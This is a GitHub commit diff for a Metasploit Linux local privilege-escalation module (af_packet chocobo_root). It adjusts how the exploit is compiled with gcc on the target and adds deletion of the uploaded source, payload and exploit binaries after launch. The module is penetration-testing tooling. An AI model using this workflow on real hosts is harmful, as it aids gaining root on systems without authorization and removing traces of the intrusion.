Skip to content

Commit 12002a4

Browse files
authored
Merge pull request #6 from timwr/pr-9987
Fix gcc path and file cleanup
2 parents 2331a61 + 9e9dff8 commit 12002a4

File tree

1 file changed

+10
-3
lines changed

1 file changed

+10
-3
lines changed

modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,6 @@ def upload(path, data)
8383
print_status "Writing '#{path}' (#{data.size} bytes) ..."
8484
rm_f path
8585
write_file path, data
86-
register_file_for_cleanup path
8786
end
8887

8988
def upload_and_chmodx(path, data)
@@ -93,15 +92,20 @@ def upload_and_chmodx(path, data)
9392

9493
def upload_and_compile(path, data)
9594
upload "#{path}.c", data
96-
output = cmd_exec "gcc -o #{path} #{path}.c -lpthread"
95+
96+
gcc_cmd = "gcc -o #{path} #{path}.c -lpthread"
97+
if session.type.eql? 'shell'
98+
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
99+
end
100+
output = cmd_exec gcc_cmd
101+
rm_f "#{path}.c"
97102

98103
unless output.blank?
99104
print_error output
100105
fail_with Failure::Unknown, "#{path}.c failed to compile"
101106
end
102107

103108
cmd_exec "chmod +x #{path}"
104-
register_file_for_cleanup path
105109
end
106110

107111
def exploit_data(file)
@@ -189,5 +193,8 @@ def exploit
189193
print_status "Launching exploit (Timeout: #{timeout})..."
190194
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
191195
output.each_line { |line| vprint_status line.chomp }
196+
print_status "Cleaning up #{payload_path} and #{executable_path}.."
197+
rm_f executable_path
198+
rm_f payload_path
192199
end
193200
end

0 commit comments

Comments
 (0)